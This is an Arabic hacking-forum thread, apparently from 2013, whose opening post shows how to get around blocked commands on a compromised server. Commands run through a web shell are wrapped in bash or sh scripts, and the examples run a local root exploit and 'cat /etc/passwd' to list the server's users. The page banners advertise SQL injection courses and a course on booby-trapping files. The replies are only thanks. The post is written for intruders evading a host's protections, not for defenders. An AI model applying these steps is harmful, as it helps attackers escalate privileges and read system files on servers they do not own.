1. المٌقدمة الأولي :دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    تٌعد ثغرات حقن قواعد البينات الثغرة رقم واحد فى العالم والمصنفة تحت بند الإخطر
    والفريق التابع له بإختراق أكبر المواقع الصهيونية قرائة الموضوع
  2. المٌقدمة الثانية : دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    في هذه المٌثقدمة الثانية والأخيرة سوف نتعرف على قواعد علم حقن قواعد البيانات
    حتى يتثنى لنا علم يٌساعدنا على القيام بعمليات الحقن بالطرق الصحيحه قرائة الموضوع
  3. دورة كشف دمج والتلغيم حصريا على أرض عراق تيم(2017)
    بعد ماقمت بعمل دورة الكشف دمج والتلغيم وستكملت الدوره وتحتوي على 12 درس
    كانت دروس حصريا على عراق تيم وشرح واضح جدا ومفهوم الى المبتدأ والى المبدع قرائة الموضوع

تخطي عدم القدرة على تطبيق اوامر على السيرفرات

الموضوع في 'آمن المواقع والسيرفرات' بواسطة kes-kbz, بتاريخ ‏27 فبراير 2013.

كاتب الموضوع : kes-kbz المشاهدات : 1,435 الردود : 4 ‏27 فبراير 2013
حالة الموضوع:
مغلق
  1. غير متصل

    kes-kbz
    rankrank
    Developer

    عضو منذ:
    ‏13 مايو 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    الوظيفة:
    SeCuRiTy & HaCKeD
    الإقامة:

    السلام عليكم ورحمة الله وبركاته

    الموضوع مثل ماهو بالعنوان وهو :

    تخطي عدم القدرة على تطبيق اوامر على السيرفرات

    مثلا امر معين ممنوع بالسيرفر بحيث عند تطبيقه يجيك :

    Forbidden = ممنوع

    Or

    Not Acceptable = غير مقبول

    يعني مثلا عندك شل بيرل مشغله على سيرفر معين

    وجيت تطبق اوامر يطبق معك ولاكن بعض اوامر مفلترة

    او اي يوزر على السيرفر يطبقها مايطلعله الناتج

    السبب مو تصريح للاوامر لان لو الروت مصرح امر معين

    تصريح فقط للروت يعني مايطبقه الا الروت فبهذه الحالة

    لايمكنك تخطي تنفيذ هذا الامر ..

    ولاكن بعض السيرفرات يمنعون اوامر معينة لايمكنك تنفيذها

    والتخطي يكون بتشفير الامر المراد تنفيذه ..

    وفيه سكربت بيرل يشفر الاوامر .. يعني تكتب الامر ومن ثم يشفره

    ويرسله .. والنتيجة تتخطى الاوامر الممنوعة ...

    اليوم طريقتنا هي بالشل سكربت .. نسوي كود بسيط ونكتب الامر

    المراد تنفيذه على السيرفر ... مثلا بعض الاستضافات تمنع امر التشغيل :

    كود PHP:
    ./ 
    نسوي شل سكربت ينفذ امر التشغيل كمثال نبي نشغل لوكال روت

    نشوف مع بعض السكربت الشل :

    كود PHP:
    #!/bin/bash

    echo "[ Output ]";

    echo 
    " ";

    ./
    localroot 

    السطر الاول للشل سكربت ويتم تشغيل الشل سكربت هكذا :

    كود PHP:
    bash dr.sh 
    شغلنا الشل سكربت بامر : bash وكان اسم الملف : dr.sh

    طبعا بعد رفع السكربت نصرحه تصريح : 755

    طيب لو امر : bash ممنوع نستخدم امر : sh لتشغيل السكربت مثال :

    كود PHP:
    sh dr.sh
    طيب لو مترجم الـ bash مصرح تصريح يمنعك من تشغيل سكربتات الـbash

    نضبط الشل سكربت بالنحو التالي :

    كود PHP:
    #!/bin/sh

    echo "[ Output ]";

    echo 
    " ";

    ./localroot

    ويتم تشغيل الشل سكربت هكذا :

    كود PHP:
    sh dr.sh 
    وبامكاننا تشغيل الشل سكربت البادء بسطر :

    كود PHP:
    #!/bin/sh 
    بالامر هذا :

    كود PHP:
    bash dr.sh 
    وتشغيل الشل سكربت البادء بسطر :

    كود PHP:
    #!/bin/bash 
    بالامر :

    كود PHP:
    sh dr.sh 
    مثال اخير لتطبيق امر لاستخراج يوزرات السيرفر :

    كود PHP:
    #!/bin/bash

    echo "[ Output ]";

    echo 
    " ";

    cat /etc/passwd
    وتشغيله مثل ماتم تشغيل السكربتات سابقا ...

    بالطريقة هذي استغلينا سكربتات الشل بتنفيذ اوامر على السيرفر

    ~ اوضح لكم الطريقة اكثر ~

    انت كيوزر على السيرفر والروت مانع من تنفيذ كم امر معينات على السيرفر

    طبعا هذي حماية للسيرفر .. وتستخدمها استضافات مشهورة ..

    تخلي تنفيذ الامر من الشل سكربت بدلا من ان تقوم بتنفيذه انت مباشرة

    والشل سكربت وامر تشغيله عنده صلاحية تشغيل السكربت

    وتنفيذ الامر الموجود فيه .. طبعا بصلاحية يوزر ...

    وبالاخير هذي طريقة من طرق تخطي عدم تنفيذ الاوامر ..

    ومثل ماقلت يوجد سكربتات بيرل لتشفير الاوامر لتخطي الحماية هذي

    وان شاء الله راح انزل السكربت باقرب فرصة ..

    ان اصبت فمن الله وان اخطأت فمن نفسي والشيطان

    ... تحياتي للجميع ...​
     


    جاري تحميل الصفحة...
  2. غير متصل

    3mran
    rankrank
    Developer

    عضو منذ:
    ‏2 ابريل 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    14
    نقاط الجائزة:

    رد: تخطي عدم القدرة على تطبيق اوامر على السيرفرات

    يعطيـك العافية
    بـارك الله فيـك
    جاري التقييم ان أمكن
     


  3. غير متصل

    ! ـآوتآر !
    DeveloPer Plus

    عضو منذ:
    ‏19 يوليو 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    الإقامة:

    رد: تخطي عدم القدرة على تطبيق اوامر على السيرفرات

    *

    وٌعٌلَيِکمً الَسِلَامً وٌرحًمًة الَلَهّ وٌبًرکاتٌتٌهّ

    يِعٌطِيِک الَعٌافُيِة

    تٌسِسِلَمً يِمًيِنِک
     


  4. غير متصل

    Dr.H4CkEr
    DeveloPer Plus

    عضو منذ:
    ‏3 أكتوبر 2011
    عدد المشاركات:
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    الإقامة:

    رد: تخطي عدم القدرة على تطبيق اوامر على السيرفرات

    بارك الله بك ووفقك يارب
     


  5. غير متصل

    ś‡òÞ Ħąć
    rankrank
    Developer

    عضو منذ:
    ‏20 مارس 2013
    عدد المشاركات:
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:

    رد: تخطي عدم القدرة على تطبيق اوامر على السيرفرات

    تسلم اياديك حبيبي
    )5:"​
     


حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...